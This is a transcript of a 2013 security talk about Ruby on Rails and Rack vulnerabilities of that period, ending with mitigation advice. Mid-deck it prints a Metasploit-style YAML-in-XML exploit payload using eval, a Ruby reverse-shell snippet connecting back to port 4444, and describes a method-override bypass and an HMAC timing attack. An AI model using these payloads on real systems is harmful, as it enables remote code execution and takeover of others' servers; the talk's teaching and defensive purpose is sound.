Ruxmon feb 2013   what happened to rails
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Ruxmon feb 2013 what happened to rails

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Talk I did in February 2013 during Ruxmon monthly meeting

Talk I did in February 2013 during Ruxmon monthly meeting

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Ruxmon feb 2013   what happened to rails Ruxmon feb 2013 what happened to rails Presentation Transcript

  • What happened to Ruby- on-Rails? Louis Nyffenegger louis@pentesterlab.com @snyff
  • About me...● Independent security consultant: ○ Code review ○ Training ○ Penetration testing● Work on really cool stuff in my free time: ○ https://pentesterlab.com/exercises ○ https://pentesterlab.com/bootcamp/
  • Ruby-On-Rails● Ruby framework to develop web applications● Protect from most web security issues: ○ SQL injections ○ Cross-Site Scripting ○ Cross-Site Request Forgery● Good reputation... including security wise
  • What happened to Rails?● Recently a lot of vulnerabilities have been published in Ruby-On-Rails● In the past, most vulnerabilities were low-risk issues but nothing really bad● This time were talking remote code execution
  • Rails Security: The usual suspects...@benmmurphy @joernchen@tenderlove @homakov@charliesome @postmodern_mod3
  • Non technical reasons● People assumed it was secure● More and more used: ○ more users -> more targeted ○ if an application didnt get any bug published its probably because no one cares● A lot of Ruby hackers: ○ Ruby-on-Rails devs ○ People looking for bugs in Ruby-on-Rails and Ruby-on- Rails applications
  • It all started... CVE-2012-5664● Talk from Joernchen (Phenoelit) at ZeroNights: "Let me github that for you" (21/12/2012)● Rack Session (used by Rails): ○ base64(Marshal(data))--HMAC(SHA1(base64(Marshal (data)), secret)● PentesterLabs exercise on this: https://pentesterlab. com/rack_cookies_and_commands_injection. html
  • It all started... CVE-2012-5664● Sessions secret exposed on Github: ○ Arbitrary session modifications ○ SQL injection if you know the secret and the application uses authlogic● Limited risk based on this... in theory
  • It all started... CVE-2012-5664● As always... Twitter started screaming and loling on this bug... ○ signal vs noise :/● A lot of people (including me) thought it was only exploitable in this condition: http://blog.pentesterlab.com/2013/01/on-exploiting-cve- 2012-5664.html http://blog.phusion.nl/2013/01/03/rails-sql-injection- vulnerability-hold-your-horses-here-are-the-facts/
  • It all started... CVE-2012-5664● If you want to do something like: http://vulnerable/id[:select]=password from users● Rails prevents this ○ if you submit a hash, all keys get converted to Strings. ○ then, Rails check that the keys submitted are valid symbols: def assert_valid_keys(*valid_keys) unknown_keys = keys - [valid_keys].flatten raise(ArgumentError, "Unknown key(s): #{unknown_keys.join(", ")}") unless unknown_keys.empty?
  • All could have happily stop here...but people started digging to find a way around this...
  • And turned out...● Rails can do a LOT of stuff... ○ parse traditional requests ○ parse XML request ○ parse JSON request● And you can send YAML inside JSON and XML requests...
  • YAML● "YAML is a human-readable data serialization format "(Wikipedia). --- receipt: Oz-Ware Purchase Invoice date: 2007-08-06 customer: given: Dorothy family: Gale
  • YAML inside XML...<?xml version="1.0" encoding="UTF-8"?><blah type="yaml">--- !ruby/hash:...</blah>
  • From YAML to code execution● To translate that in the OS world: "you have FTP access to a system and want to get commands execution from it"● Need to find a way to inject code and get it executed...● Many methods more or less reliable depending on the version of Ruby and Ruby- On-Rails
  • From YAML to code execution: msfway<SWfzexMD type=yaml>--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection XIH; eval(%[Y29k...KZW5k].unpack(%[m0])[0]); : !ruby/object:ActionController::Routing::Route segments: [] requirements: :tFuEk: :jyWUTgfc: :CAxk</SWfzexMD> 
  • From YAML to code execution: msfway● You basically inject code that will get evaluated by Ruby-On-Rails automatically● The same vulnerability can also be used to get SQL injection using Arel● From the code evaluated, msf does its usual stuff: ○ fork ○ connect back
  • From YAML to code execution: msfwaycode = %(cmVxdW...ml9).unpack(%(m0)).firstif RUBY_PLATFORM =~ /mswin|mingw|win32/[...]else if ! Process.fork() eval(code) rescue nil endend
  • From YAML to code execution: msfwayrequire socket;c=TCPSocket.new("[::1]","4444");$stdin.reopen(c);$stdout.reopen(c); $stderr.reopen(c);$stdin.each_line {|l| l=l.strip next if l.length==0 system(l)}
  • CVE-2013-0156... only POST?● Only POST? ○ you need to send the XML in the body of the request...● You can do a POST request and use the HTTP header: "X-HTTP-Method- Override: get" to get Rails to use your payload as if it was in a GET request
  • CVE-2013-0155● "Unsafe Query Generation Risk in Ruby on Rails" (not SQL injection) using JSON● Depends on the code used user = User.find_by_token(params[:token]) -> SELECT * FROM users where token=...● You can manipulate the query using JSON to remove the WHERE statement: -> SELECT * FROM users
  • Rack● "Rack provides a minimal interface between web servers supporting Ruby and Ruby frameworks."● Used by Rails and other frameworks● Two vulnerabilities published in the same period: ○ CVE-2013-0262 ○ CVE-2013-0263 (already reported in 2009)
  • Rack... CVE-2013-0263def digest_match?(data, digest) return unless data && digest @secrets.any? do |secret| digest == generate_hmac(data, secret) endend
  • Rack... CVE-2013-0263● Timing attack... ○ Create a malicious value ○ Bruteforce a valid HMAC ■ send HMAC "aaaaaaaaaaa..." ■ send HMAC "baaaaaaaaaa..." ■ send HMAC "caaaaaaaaaa..." ■ ... ■ compare responses time● Unlikely from Internet ○ "intercloud" attacks...
  • CVE-2013-0277● Rails allows developers to store serialized data easily: class Post < ActiveRecord::Base serialize :tags end● Turns out the serialisation is done using YAML... If a user can manipulate this parameter... game over :/
  • Rack... CVE-2013-0262● Directory traversal in Rack::File● When I looked at the bug I found a XSS in the same code ○ and another one in similar code in another file fail(404, "File not found: #{path_info}" ○ and the fact that rack follows symlinks● Turns out this is used by BEEF... Content- Type: text/plain limits impact tho
  • Rubygems.org compromised● Gem == ruby library● Rubygems is like a Debian mirror for Ruby● Information about a package are stored inside a metadata.gz which is a compressed YAML file... and this information get displayed on the website: ○ Someone uploaded an "exploit.gem"...
  • So what to do from now?● ".to_s all the things" ○ most of the issues come from the mapping performed by Ruby-On-Rails● Upgrade... (bundler-audit)● Remove parsers you dont need:ActionDispatch::ParamsParser::DEFAULT_PARSERS.delete(Mime::XML)ActionDispatch::ParamsParser::DEFAULT_PARSERS.delete(Mime::JSON)
  • And since we are talking about Rails Someone recently put together all the way to have vulnerable code in Ruby-on-Rails: http://rails-sqli.org/ You should also check Meders Ruby Security Reviewers Guide:http://code.google.com/p/ruby- security/wiki/Guide